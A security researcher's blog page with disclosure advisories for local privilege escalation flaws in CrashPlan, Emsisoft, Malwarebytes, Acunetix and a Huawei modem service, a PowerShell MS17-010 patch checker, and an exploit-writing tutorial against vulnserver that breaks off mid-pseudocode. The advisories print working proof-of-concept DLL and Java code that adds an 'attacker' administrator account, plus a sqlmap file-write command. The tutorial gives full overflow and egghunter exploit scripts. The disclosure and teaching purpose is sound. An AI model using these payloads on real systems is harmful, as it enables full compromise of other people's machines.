Jul 182018
 

Over the last years I painfully realised that IT Security is a very complex topic. Often it is difficult to communicate the scope of certain vulnerabilities and their mitigation strategies to layman’s and sometimes even IT professionals. I guess that’s the reason why many security consultancies don’t even try. But this is not my way!

Hence, I finally started my own business: Bee IT Security Consulting e.U. 

Our goal is to aid organisations in understanding their current security level and to help them take the best next steps for their business. To do that I’m provide security consulting services, including Penetration Testing, Workshops, Awareness and additionally I still love to give talks!

If you want to know more you can visit my new webpage https://www.bee-itsecurity.at (german only) or contact me at florian@bee-itsecurity.at.

Feb 152018
 

This advisory is about a local privilege escalation vulnerability affecting CrashPlan’s Windows application. It can be abused by any local user to gain full control over the system. It has been verified on a fully patched english Windows 7 x64 running the CrashPlan Windows client version 4.8.2.4.

The underlying issue is that the Windows Service “CrashPlan Backup Service” loads and executes files from the insecure filesystem location C:\ProgramData\CrashPlan.

Amongst others, Java Class files are searched and eventually loaded from there. This results in a CLASS side-loading vulnerability.

The special thing about this folder are the default filesystem ACLs that allow any local user to append new files.

Thereby, it is possible to drop a malicious file. To exploit this issue I built the following Java class:

package org.slf4j.ext;

import java.io.Serializable;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.beans.ExceptionListener;

/**
 * Base class for Event Data. Event Data contains data to be logged about an
 * event. Users may extend this class for each EventType they want to log.
 * 
 * @author Ralph Goers
 */
public class EventData implements Serializable {

	static
    {
    try {
    		Runtime rt = Runtime.getRuntime();
			Process pr = rt.exec("cmd.exe /C \"net user attacker Batman42 /add && net localgroup Administrators attacker /add\"");
		} catch (Exception e) {
            e.printStackTrace();
        }
    }

    /**
     * Default Constructor
     */
    public EventData() {
    }
}

To inject our own commands, Java’s Static Initializers are abused. These are immediately executed after the class is being loaded by the JVM. To compile it simply use javac:

javac EventData.java

Finally, drop the compiled Java class file into the to-be-created folder C:\ProgramData\CrashPlan\lang\org\slf4j\ext

After the system is rebooted this Java class is loaded and our code is executed as SYSTEM. In this example the local administrative user attacker was added.

Thereby, a non-admin user is able to fully compromise the local endpoint.

Suggested solution

End-users should update to the latest available version.

Timeline

  • 18.5.2017: The issues has been identified
  • 22.5.2017: The issues has been documented and reported to the vendor
  • 25.5.2017: Vendor confirmed vulnerability and is working on a fix
  • 13.6.2017: New version containing a fix has been released. The release notes have been published here.
  • 15.2.2018: Public disclosure
Nov 102017
 

This post is about a local privilege escalation vulnerability in Emsisoft Anti-Malware. It allows any local user to abuse the virus quarantine to get local SYSTEM level access. It has been verified on a fully patched english Windows 7 x64 for Emsisoft Anti-Malware 12.1.0.6970. This issue itself is based on #AVGater, a class of Anti-Virus vulnerabilities related to the handling of quarantined files. 

The underlying issue is that the Emsisoft Anti-Malware’s quarantine interface can be abused to restore files as SYSTEM to any filesystem location. The following screenshot shows the starting point for our attack. We – as a local non-admin user – manually added a malicious version.dll from within an newly created folder (like ~\Desktop\X) into the virus quarantine using the “Add file” button.

This version.dll exports all the same functions as the one from Microsoft. However there is no real functionality within it except a few system calls within its DLLMain that add a new user as soon as it is loaded.

int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"whoami >> C:\\Users\\Public\\user.txt\"");
	exit(1);
	return 0;
}

In the next step we start with the real magic: Windows Junction Points (https://technet.microsoft.com/en-us/library/cc753194%28v=ws.11%29.aspx?f=255&MSPPError=-2147217396)

To do that remove the empty parent folder (~\Desktop\X) and replace it with a junction point using mklink that points to Emsisoft Anti-Malware’s application folder.

To finally trigger the issue simply restore the previously quarantined version.dll. As the original path now contains a junction and the restore process is carried out as SYSTEM our version.dll gets places into the Program Files directory. This clearly proofs the privilege escalation: A normal user should not be able to do that.

Now simply reboot the system. During the start of the automatically loaded “Emsisoft Protection Service” Windows service the malicious version.dll gets loaded and our new user attacker is added to the system.

Suggested solution

It should be impossible to restore files to filesystem locations containing a directory junction. One solution could be to always restore files to a temporary folder first (like the users temp folder) and then let the user-mode application do the move to the final path. Thereby it is guaranteed that files can only be restored to folders where the current user has write permissions.

Timeline

  • 02.12.2016: The issues has been documented and reported
  • 06.12.2016: Vendor was able to reproduce and started to work on a fix
  • 14.12.2016: Fixed in Beta release
  • 15.12.2016: Update pushed into production
  • 11.10.2017: Public release
Nov 102017
 

This post is about a local privilege escalation vulnerability in Malwarebytes Anti-Malware 3. It can be abused by any local user to gain full control over the system. It is based on #AVGater, a class of Anti-Virus vulnerabilities related to the handling of quarantined files. It has been verified on a fully patched english Windows 7 x64 running Malwarebytes Free 3.0.5.1299.

The underlying issue is that the Quarantine feature can be abuse to write arbitrary files to any filesystem location with full SYSTEM level permissions.

The first step in this attack is that a file with the name version.dll has to be quarantined from an otherwise empty folder. A good trick to do so is to simply rename a well-known malware to version.dll. I prepared such a sample here. Download it to ~\Desktop\X\version.dll and trigger a manual scan to get it detected.

As soon as the following dialog is shown, replace the already detected malware with our payload.

The prepared payload mimics the Windows library version.dll. However, instead of providing any real functionality it simply logs the current user to C:\Users\Public\user.txt. You can download the full source here.

int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"whoami >> C:\\Users\\Public\\user.txt\"");
	exit(1);
	return 0;
}

Then finish the quarantine process and reboot the system. Now delete the previously created and now empty folder X and replace it with a directory junction as shown below.

Finally restore the quarantined file.

Because of the directory junction the library version.dll is restored to C:\Program Files\Malwarebytes\Anti-Malware.

After a reboot our “malicious” version.dll is loaded by the Windows service “Malwarebytes Service” (mbamservice.exe). As this service uses the SYSTEM account, we gained full control over the computer. This is also documented as the current user is logged to C:\Users\Public\user.txt.

Suggested solution

It should be impossible to restore files to filesystem locations containing a directory junction.

Timeline

  • 14.1.2017: The issues has been documented and reported
  • 19.1.2017: Vendor starts investigation
  • 26.1.2017: Issue confirmed – Fix implemented
  • 27.3.2017: Update fully deployed
  • 11.10.2017: Public release
May 282017
 

This time I want to discuss another local privilege escalation vulnerability in the web vulnerability scanner Acunetix 11. It can be abused by any local user to gain full control over the system. It has been verified for Acunetix Trail 11.0.163541031 on a fully patched english Windows 7 64-bit.

The underlying issue is that the installed Acunetix PostgresSQL database server can be hijacked by using two different methods. As this database server is running as Local System it can be further abused to write arbitrary files. This in turn can be exploited to gain full control over the system using DLL sideloading.

Gaining access to the database #1

As stated, there are two different methods to gain access to the PostgresSQL server. The first one is very simple: just connect to it. This is possible because the local address is configured as trusted in the configuration file C:\ProgramData\Acunetix 11 Trial\db\pg_hba.conf.

Gaining access to the database #2

The second method is as simple: The user-readable configuration file C:\ProgramData\Acunetix 11 Trial\settings.ini contains the cleartext credentials for the database server.

Abusing the database access

Both methods can be used to connect to the database. The easiest way to abuse this access is to use sqlmap. This setup allows one to write files to arbitrary locations. To finally gain full control over the system I analysed the Acunetix service application. This revealed, as shown in the screenshot below, that the Windows library version.dll is not only loaded from the system directory, but also from the application’s current working directory.

Hence, I built a library mimicking the real Windows DLL version.dll. However, instead of providing any real functionality, it simply creates a new file on the system drive’s root. You can download the full source code and a precompiled version here.

Using the following sqlmap command this DLL can then be placed into the folder C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031.

C:\Python27\python.exe sqlmap.py -d "PostgreSQL://wvs:iRk2mQ3GNVqldjhgeGvMj7UNtd3oUmXT@127.0.0.1:45432/wvs" --dbs --file-write version.dll --file-dest "C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031\version.dll"

The following screenshots illustrates the upload process.

Now simply navigate to C:\Program Files (x86)\Acunetix 11 Trial\11.0.163541031 and verify that the file version.dll has been added.

After a reboot the DLL will be loaded by the highly privileged Windows service Acunetix Trial and the file C:\this_should_not_work.txt will be created.

Proof of Concept

To confirm this issue yourself install Acunetix Trail 11.0.163541031 and download the precompiled version of the proof of concept exploit.

After that, install Python 2.7, pip using get-pip.py and sqlmap (including its dependencies). Then – as a non admin user – follow the instructions of this post to verify the vulnerability.

Suggested solution

The database server should be secured: This means that the configuration file pg_hba.conf should be updated so that the local system should not be considered as trusted anymore and the database configuration file should be secured from unauthorised access using the filesystem ACLs.

An even better idea would be to use an unprivileged user to run the database server in the first place.

Timeline

  • 9.1.2017: The issues has been documented and reported
  • 31.3.2017: Asked for update
  • 4.4.2017: Fixed version (build 11.0.170941159) has been released
  • 28.5.2017: Public disclosure
May 142017
 

UPDATE (16.05.2017 @ 21:06): This script should now work for all operating systems up to the current Windows 10 / Server 2016 build 14393.1198

UPDATE (15.05.2017 @ 22:15): There have been several reports that this script did not work on some Windows 2008 and 2016 servers. This was related to Get-HotFix, as it misses some installed updates. Hence, I added a second method to fetch all installed fixes… I guess this should be more stable…

Because of the current situation regarding WannaCry, I needed a simple solution to check if a system has already been patched against all the issues fixed in MS17-010. However, as there are different KB’s for the different operating systems, this is a lot more difficult than I first thought.

Hence, I updated a script I found on the internet so that it can be simply pasted into a PowerShell to check a system.

# Copy and paste this to a Powershell Window to check if MS17-010 has already been installed on this system

function checkForHotFix
{
 Write-Host "[*] MS17-010 Checker"
 Write-Host "[*] ++++++++++++++++++++++++++++++++++++++++++"
 Write-Host "[*] Starting check"

 # based on https://www.poweradmin.com/blog/how-to-check-for-ms17-010-and-other-hotfixes/
 # and on http://tomtalks.uk/2013/09/list-all-microsoftwindows-updates-with-powershell-sorted-by-kbhotfixid-get-microsoftupdate/

 # To find all Hotfixes of a security update copy the page content and
 # use http://regexr.com/ with the regex KB[0-9]{7} to extract them

 $hotfixes = "KB4013429","KB4012606","KB4013198","KB4012598","KB4012598","KB4012598","KB4012598","KB4012598","KB4012212","KB4012215","KB4012212","KB4012215","KB4012213","KB4012216","KB4012214","KB4012217","KB4012213","KB4012216","KB4012606","KB4013198","KB4013429","KB4013429","KB4016871", "KB4019472"

 Write-Host "[*] Querying installed HotFixes using method 1"
 $wu = new-object -com “Microsoft.Update.Searcher”
 
 $totalupdates = $wu.GetTotalHistoryCount()
 $all = $wu.QueryHistory(0,$totalupdates)
 
 # Define a new array to gather output
 $UpdateCollection= @()
 
 Foreach ($update in $all)
 {
 $string = $update.title
 
 $Regex = “KB\d*”
 $KB = $string | Select-String -Pattern $regex | Select-Object { $_.Matches }
 
 $output = New-Object -TypeName PSobject
 $output | add-member NoteProperty “HotFixID” -value $KB.‘ $_.Matches ‘.Value
 $output | add-member NoteProperty “Title” -value $string
 $UpdateCollection += $output
 
 }

 Write-Host "[*] Querying installed HotFixes using method 2" 
 Foreach ($hotfix in Get-Hotfix)
 {
 $output = New-Object -TypeName PSobject
 $output | add-member NoteProperty “HotFixID” -value $hotfix.HotFixID
 $output | add-member NoteProperty “Title” -value $hotfix.Description
 $UpdateCollection += $output 
 }
 
 Write-Host "[*] Check if any suitable HotFix was found"
 if ($UpdateCollection | Where-Object {$hotfixes -contains $_.HotfixID}) {
 $hotfixID = $UpdateCollection | Where-Object {$hotfixes -contains $_.HotfixID} | Select-Object -first 1 "HotFixID"
 Write-Host "[+] Hotfix"$hotfixID.HotFixID"installed - System is secure!" -foreground "green"
 } else {
 Write-Host "[-] No Hotfix found - System vulnerable!" -foreground "red"
 }
}
cls
checkForHotFix

# Also copy this comment - This makes it "autorun"

If a system has already been patched it looks like this:

If not, well there is a warning:

Maybe it’s of use for someone else…

Acknowledgment:

  • Thanks to Markus for pointing out a missing KB
  • Thanks to Hannes for spotting a typing error that caused the script to always report “vulnerable” even on patched systems.
  • Thanks to Dustin (see comments) for pointing out another missing KB
May 122016
 

During a recent security audit I discovered a flaw in Huawei’s Mobile Broadband HL Service that is used by their 3G/LTE modems to automatically connect to the cellular network. A local attacker can abuse this issue to gain full SYSTEM level access. It has been reproduced with two fully updated Huawei 3G/LTE modems namely the Huawei E3533 and the Huawei E5373. However, I guess more devices are vulnerable.

hw_374164

Furthermore I also expect quite a large number of  systems to be affected as the service itself is installed automatically and Huawei modems are widely adopted. The issue was reported to and verified by Huawei. It affected all tested versions up to the current 22.001.25.00.03 on x86 and x64. The installed release can be checked from within the “Programs and Features” Control Panel. If you want to verify the issue by yourself you can download a vulnerable service version from here. However please be aware that I don’t host this download myself so only install it on your analysis system for testing purposes.

Screen Shot 2016-03-14 at 09.04.39

The actual vulnerability is caused by the Windows service “Mobile Broadband HL Service”.

Screen Shot 2016-03-06 at 08.40.46

The parent folder of the service’s mbbService.exe application (C:\ProgramData\MobileBrServ) has its filesystem ACLs not properly secured, thus allowing all users to create and append files:

Screen Shot 2016-03-06 at 20.32.10

This can be abused by creating a malicious DLL that gets loaded and executed on boot with SYSTEM privileges. This is attack type is called DLL side loading. To do so we don’t even have to use Dynamic-Link Library Redirection as the library VERSION.dll is also searched for within the service installation directory (discovered using Process Monitor):

Screen Shot 2016-03-06 at 20.37.58

We simply have to develop a DLL that exports all three required functions as identified by Dependency Walker and drop it into C:\ProgramData\MobileBrServ as VERSION.dll.

Screen Shot 2016-03-06 at 20.41.06

I wrote the following library to do the job. It exports the three expected functions (GetFileVersionInfoA, GetFileVersionInfoSizeA, VerQueryValueA) without providing any real functionality. However as soon as it is loaded into a process, the DLLMain entry point function is executed and a new user “attacker” is added to the system.

#include <process.h>

/* 
	To compile 32bit dll:
	cl.exe /D_USRDLL /D_WINDLL version.cpp /link /DLL /OUT:version.dll
*/

/* export all required functions - use Dependency Walker to check what is needed */
extern "C"
  {
   __declspec(dllexport) int GetFileVersionInfoA();
   __declspec(dllexport) int GetFileVersionInfoSizeA();
   __declspec(dllexport) int VerQueryValueA();
  }

/* 
	Implement DLLMain with common datatypes so we don't have to include windows.h. 
	Otherwise this would cause several compile errors because of the already known but reexported functions.
*/
int DllMain(void* hinst, unsigned long* reason, void* reserved) {
	system("cmd /c \"echo>%tmp%\\dll_loaded\""); // cmd /c "echo>%tmp%\dll_loaded"
	system("net user attacker Batman42 /add");
	system("net localgroup Administrators attacker /add");

	return 0;
}

/* Implement stubs of our exports */
int GetFileVersionInfoA() {
    return 0;
}

int GetFileVersionInfoSizeA() {
    return 0;
}

int VerQueryValueA() {
    return 0;
}

After compiling it I put it into the mbbService’s parent directory.
Screen Shot 2016-03-06 at 20.48.41
As soon as the machine is rebooted the user attacker is added and we gained full access to the machine:
Screen Shot 2016-03-06 at 20.51.18

Video

The following video demonstrates the attack.

Suggested solution

The correct solution to prevent this attack is so change the filesystem ACLs so that normal users are prohibited from creating files and directories within the C:\ProgramData\MobileBrServ folder.

Workaround

Until Huawei pushes a fix the filesystem ACLs should be updated manually to prevent normal users to write anything into the service directory (C:\ProgramData\MobileBrServ). This can be automated using icacls.exe.

Disclosure Timeline

  • 6.3.2016 @ 10:00: Issue privately reported to Huawei
  • 6.3.2016 @ 21:00: CVE number requested
  • 7.3.2016 @ 06:00: MITRE assigned CVE-2016-2855
  • 14.3.2016 @ 11:00: Huawei verified the issue and is working on a fix
  • 9.5.2016 @ 06:00: Huawei informed me that the issue has been fixed in their latest release. However it is up to the carriers to push the fix to the devices.
Apr 292016
 

Preface: Although this blog post is a companion post to a talk I recently gave it does not depend on the talk itself. The idea is to provide some kind of reference and clarification for some technical details.

Generally, the talk – and therefor this post – is about finding and abusing a vulnerability in vulnserver to gain code execution. As this is a quite complex topic, I will try to make every step as clear as possible. However, this is by far not a step-by-step manual: Its goal it to give you valuable hints but still forces you to figure out many things on your own!

Before we start you need the following requirements:

  • A fully patched Windows 7 x64 VM (x86 might work but has not been testet!)
  • A Kali VM (or any other system with Metasploit)
  • Immunity Debugger (For simplicity reasons simply install the bundled Python version – I had troubles getting newer versions to work; Furthermore manually update your PATH so that it encludes C:\Python27)
  • The mona.py Immunity Debugger Extension
  • The Microsoft Developer Command Prompt for VS (as bundled with Visual Studio Express)
  • The vulnerable server application vulnserver (Download at the bottom of the site)
  • The string_to_push.py helper script
  • Our custom shellcodes: download
  • A good text editor like Notepad++
  • A hex editor like HxD

Identifying a vulnerability

The first and often most difficult step is to actually find a vulnerability that can be abused to gain code execution. In this case we will use a technique called Fuzzing. Thereby we simply send unexpected data to the service and observe what happens. As vulnserver’s main goal it so be vulnerable it is quite easy to trigger a fault. For example I wrote the following simple python scripts “1 fuzzer.py” that simply connects to a locally running vulnserver and executes every supported command with a parameter of 10000 A’s.

#!/usr/bin/env python

import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024

CMDS = ["STATS","RTIME","LTIME","SRUN","TRUN","GMON","GDOG","KSTET","GTER","HTER","LTER","KSTAN"]

for cmd in CMDS:

 print "Connecting to "+IP+" on port "+str(PORT)
 print ""

 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((IP, PORT))
 print s.recv(BUFFER_SIZE)

 #print "Supported commands:"
 #s.send("HELP")
 #print s.recv(BUFFER_SIZE)

 print "Attacking "+cmd
 s.send(cmd+" "+(10000*"A"))
 print s.recv(BUFFER_SIZE)
 
 s.close()

Guess what, after launching the fuzzer it did not take very long for vulnserver to crash:
Screen Shot 2016-04-15 at 09.07.13
Based on the output we can see that the last tested command was KSTET. That means we will now focus on what exactly happened. To do so we have to debug vulnserver within Immunity Debugger.

Verifying the Vulnerability

Before we start verifying the vulnerability here are a few tips:

  • If you are using a custom port (6666) like I do, you can configure the process arguments in the Debugger -> Arguments menu
  • I really recommend you to learn some of the keyboard shortcuts (Run and Continue: F9, Restart: CRTL+F2, Stop: ALT+F2)
  • Youtube is a great resource for hands-on Immunity Debugger tipps and trick

To be able to analyse the issue in more detail I updated my fuzzer to only test the KSTET command. Thereby it’s easier to focus on the important things:

#!/usr/bin/env python

import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024

cmd = "KSTET"

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+(10000*"A"))
print s.recv(BUFFER_SIZE)
 
s.close()

After that I launched vulnserver within Immunity Debugger and skipped all the default breakpoint (using F9) so that the main server listener process was started. After that I executed our targeted fuzzer script:
Screen Shot 2016-04-15 at 09.24.16

As you can see our fuzzer managed to trigger a stack overflow vulnerability that finally caused EIP to be 41414141 (AAAA). What that means is we triggered a bug in the application that allows us to control what instruction should be executed next. The following image illustrates what has happened.

so

Identifying the Offset

However, right now we are sending 10000 A’s. That means we have no clue which A exactly controls EIP. To identify the offset we can use Metasploit. To do so, fire up your Kali VM and connect to it using SSH. After that run the following command to create a unique pattern:

root@kali:~ /usr/share/metasploit-framework/tools/pattern_create.rb 10000

Screen Shot 2016-04-15 at 09.48.47Now update your fuzzer to send that unique pattern instead of the A’s and again inspect the output in Immunity Debugger:
Screen Shot 2016-04-15 at 09.53.09
As you can see we again triggered some kind of error. However this time we can exactly identify which offset allows us to control the execution flow. To do so we use another Metasploit tool:

root@kali:~ /usr/share/metasploit-framework/tools/pattern_offset.rb 63413363
[*] Exact match at offset 70

This means, that the value at offset 70 is the one that overwrites the return address on the stack and finally ends up in EIP. As EIP contains the address of the next instruction that will be executed we now have to find a suitable address we can jump to.

Gaining Code Execution

Before searching for a suitable address we have to think about our next step: Delivering our payload. Our malicious code also has to be delivered with our exploit. Therefore it makes sense to first inspect the memory layout during the stack overflow in detail so we can find space for it. I updated the fuzzer again so we can learn more about possible attack vectors during our analysis:

#!/usr/bin/env python

import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024

cmd = "KSTET"
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6A..."

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+pattern)
print s.recv(BUFFER_SIZE)
 
s.close()

Now simply rerun vulnserver within Immunity Debugger and launch the above fuzzer. Continue the execution until the process terminates. Very important: Ignore all messageboxes and really continue the execution until the process dies (Debugged program was unable to process exception)! The following screenshots shows the expected results including some remarks:

Screen Shot 2016-04-15 at 11.09.49

We can get quite a lot of important information out of this crash:

  1. Our 70 byte offset is correct
  2. ESP points to our B’s. That means we can use it to place and execute code from there.
  3. However as there are only 20 B’s we only have 20 bytes for our payload…. That means we have to use several stages!
  4. Our 70 byte offset can be reused within our staged exploit

The following image tries to clarify the output even more:

Based on that we will now take the following steps:

  1. Find an “JMP ESP” instruction to jump to => That transfers control to the commands in the memory region where our B’s were and that we control
  2. There we place some custom ASM instructions that transfer control to the beginning of our A’s. Then we have at least 70 bytes for our next payload stage.

Finding an JMP ESP Instruction

As stated above, we first have to find an JMP ESP instruction within the process memory. However there is one more thing to consider: ASLR. ASLR is a security feature that randomizes the addresses of the process memory. That means that we can not simply use any JMP ESP instruction as most of them will have a different memory address after a process or system restart. So in the first step we have check if there are any non-ASLR library loaded and than search for an JMP ESP instruction within them.

Screen Shot 2016-04-15 at 11.51.53

The screenshot above illustrated this process. At first we use the command !mona noaslr to list all modules that don’t use ASLR. The important thing is that we can only use modules that don’t have a NULL (00) character within their address. That mean only essfunc.dll is suitable for our needs.

To check if there are any JMP ESP instructions within essfunc.dll the follwing command can be used: !mona find -type instr -s “jmp esp” -m essfunc.dll (The command has been changed). It lists all found instructions with their corresponding address. The first one at 0x625011AF is already perfectly suitable for us: It contains the correct instruction and its address does not include NULL characters.

We can now again update our exploit with the new destination address. Also note that I replaced the B’s with a single 0xCC. This maps to the assembler command INT 3h, which in turn triggers a breakpoint within our debugger. Thereby we can easily verify if you exploit is working as expected.

#!/usr/bin/env python
import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
TRIGGER_BREAKPOINT = "\xCC"

cmd = "KSTET"

addr = "\xAF\x11\x50\x62" # JMP ESP in essfunc.dll (0x625011AF)

pattern = 70*"A"+addr+TRIGGER_BREAKPOINT

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+pattern)
print s.recv(BUFFER_SIZE)
 
s.close()

If everything worked as expected the breakpoint should be hit and your Immunity Debugger should look similar to the following screenshot:
Screen Shot 2016-04-24 at 20.13.53

Creating a Little Room to Breathe

Although we finally managed to get code execution we only have 20 bytes… That’s not a lot so we need to make ourself a little more room to breathe. To do so we will jump from our initial 20 byte buffer to the much larger 70 byte memory region at the beginning of our buffer. The following color-coded image illustrates the next steps:

so3

As already documented in the image we have to jump from the initial memory region to the 70 byte buffer in front of it. As this buffer starts 74 bytes in front of where ESP currently points to we simply subtract 74 from ESP (SUB ESP,74) and the jump there (JMP ESP). Metasploit’s interactive nasm_shell ASM helper utility helps us to convert this instructions to hex:

root@kali:~ /usr/share/metasploit-framework/tools/nasm_shell.rb 
nasm: sub esp,74;
00000000  83EC4A            sub esp,byte +0x4a
nasm: jmp esp;
00000000  FFE4              jmp esp
nasm: quit

Now the exploit can be updated with this instructions:

#!/usr/bin/env python
import socket

IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
TRIGGER_BREAKPOINT = "\xCC"

cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # JMP ESP in essfunc.dll (0x625011AF)
sub_esp_74 = "\x83\xEC\x4A" # sub esp,74;
jmp_esp = "\xFF\xE4" # jmp esp

shellcode = TRIGGER_BREAKPOINT

print len(shellcode)
pattern = shellcode+(70-len(shellcode))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp

print "Connecting to "+IP+" on port "+str(PORT)
print ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

print "Attacking "+cmd
s.send(cmd+" "+pattern)
print s.recv(BUFFER_SIZE)
 
s.close()

After verifying with Immunity Debugger that everything is working, we can lean back and simply use a suitable Metasploit payload: The only problem is, there is none… All Windows payloads are bigger than 70 bytes (/usr/share/metasploit-framework/tools/payload_lengths.rb |grep windows).

The Egg to the Rescue

Luckily this problem has been encountered before an there even is a solution: Egg hunting. The principle is pretty easy: The attacker somehow places a shellcode in the attacked process, prepended with some special string (the egg). After that he triggers the actual vulnerability and drops the egg hunter. This little function starts to search the egg within the process’s memory and if found redirects execution to the shellcode. I really recommend Corelan’s blog post for further details: Exploit writing tutorial part 8 : Win32 Egg Hunting.

Tipp: Before continuing any further change Immunity’s Exception configuration so that Memory access violations are ignored! They are used internally by the egg hunter and make it impossible to work with the debugger if not disabled.

Screen Shot 2016-04-24 at 21.30.03After that, there is only one last problem: How can the shellcode be placed into memory? Well, the good thing is we have access to vulnserver’s sourcecode (vulnserver.c):

...
char *GdogBuf = malloc(1024);
...
} else if (strncmp(RecvBuf, "GDOG ", 5) == 0) {				
	strncpy(GdogBuf, RecvBuf, 1024); // GdogBuf is a connection-wide variable
SendResult = send( Client, "GDOG RUNNING\n", 13, 0 );
...

From there the GDOG command looks interesting: It stores up to 1024 bytes in a connection specific variable. That means the value is kept in memory as long as the connection is not terminated. This is perfectly suitable for our needs. Here’s our update plan:

  1. Connect to vulnserver
  2. Place the actual shellcode – prepended with our egg – into the victim process’s memory using the GDOG command
  3. Trigger the vulnerability within the KSTET implementation while also delivering our egg hunter and overwriting the return address with the address of JMP ESP within essfunc.dll.
  4. After the execution has been forwarded to our small 20 byte buffer, jump to the bigger 70 byte buffer
  5. There start the egg hunter
  6. Win!

Here is the updated two-stage exploit. As you can see it is a little more complex – however, nothing really special. It uses the universal (x86 and Wow64) Corelan Egg hunter documented in their blog post WoW64 Egghunter. It abuses the NtAccessCheckAndAuditAlarm syscall to prevent access violations. To learn more about Egg hunting in general click here.

#!/usr/bin/env python
import socket

###########################################################
# CONFIGURATION
###########################################################
IP = '127.0.0.1'
PORT = 6666
BUFFER_SIZE = 1024
EGG = "\x77\x30\x30\x74" # tag w00t

###########################################################
# ASM Commands
###########################################################

BREAKPOINT = "\xCC"
NOP = "\x90"

# W32, WOW EGGHUNTER form https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
EGGHUNTER =  ""
EGGHUNTER += "\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"
EGGHUNTER += "\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"
EGGHUNTER += "\x2e\x5a\x3c\x05\x74\xea\xb8"
EGGHUNTER += EGG  
EGGHUNTER += "\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"
EGGHUNTER += "\xe2\x64\xff\x13\x5e\x5a\xeb\xdf"

###########################################################
# Exploit
###########################################################

# shellcode to use:
shellcode = BREAKPOINT 

print ""
print "Exploiting vulnserver (http://tinyurl.com/lwppkof) using "
print " - a stack overflow, "
print " - egg-hunting "
print " - and a custom shellcode"
print ""
print "Egg hunter size: "+str(len(EGGHUNTER))+"/74 bytes"
print "Shellcode size: "+str(len(shellcode+EGG+EGG))+"/1024 bytes"
print ""

print "Connecting to vulnserver "+IP+" on port "+str(PORT)
print ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
print s.recv(BUFFER_SIZE)

# 1) put shellcode into memory!
cmd = "GDOG"

print "Sending shellcode using "+cmd
data=cmd+" "+EGG+EGG+shellcode

s.send(cmd+" "+data)
print s.recv(BUFFER_SIZE)

# 2) sending exploit
cmd = "KSTET"
jmp_esp_addr = "\xAF\x11\x50\x62" # in vulnerable dll
sub_esp_74 = "\x83\xEC\x4A"
jmp_esp = "\xFF\xE4"

data = EGGHUNTER+(70-len(EGGHUNTER))*"A"+jmp_esp_addr+sub_esp_74+jmp_esp
print "Shellcode Padding: "+str(len(EGGHUNTER))
print "Attacking "+cmd

s.send(cmd+" "+data)
	
s.close()

After watching the egg hunter do its job, Immunity Debugger should catch the INT 3h breakpoint. You can inspect the memory in front of the current instruction pointer: It should contain the egg(s) we have placed.

Screen Shot 2016-04-24 at 21.40.46

To summarise: We triggered a buffer overflow, overwrote the return address on the stack, jumped from our small 20 byte buffer to our bigger 70 byte buffer, where we stored our Egg hunter. This Egg hunter then searched the process’s memory for the egg and transferred execution to the instruction after it. Well done!

In the next step we need some kind of shellcode to do some actual “malwary” stuff. As I was unable to get the Metasploit payloads (msfvenom -a x86 –platform windows -p windows/messagebox TEXT=”We are evil” -f python -b “\x00” -v MSF_PAYLOAD) to execute reliably I wrote my own.

Writing the shellcode

However as it is quite difficult to write a shellcode from scratch (especially if you have never done it before) I went with a well documented template, namely NoviceLive’s. Before we start adapting it, let’s define our goal: As this is some kind of “tutorial” we will just execute calc.exe to proof that we gained code execution. However we will take the cool way(R) and use Powershell to do so. Thereby this example can be easily modified to do something else.

Let’s start with discussing the inner workings of the messagebox shellcode. To do so we use the following pseudocode snipped instead of the actual ASM code. This makes it a little easier to understand everything.

function main:
    // Prepare 
    peb = NtCurrentTeb().ProcessEnvironmentBlock // TEB = Thread Environment Block 
    ldr = peb.Ldr; // get list of loaded modules
    kernel32_dll_base = find_kernel32_dll_base() // get kernel32.dll
    get_proc_address = find_get_proc_address(kernel32_dll_base) // get address of GetProcAddress 
    load_library = get_proc_address(kernel32_dll_base,"LoadLibraryA") // find pointer to LoadLibrary
 
    // Do the actual shellcode thing
    user32_dll_base = load_library("user32") // load user32.dll library
    message_box_a = get_proc_address(user32_dll_base,"MessageBoxA") // find pointer to MessageBoxA
    message_box_a(NULL, "Hello World!", NULL, MB_OK) // display "Hello World" msgbox
    
    exit_thread = get_proc_address(kernel32_dll_base,"ExitThread") // find pointer to ExitThread
    exit_thread() // exit thread in a clean way
 
function find_kernel32_dll_base:
    for module in ldr.InInitializationOrderModuleList:
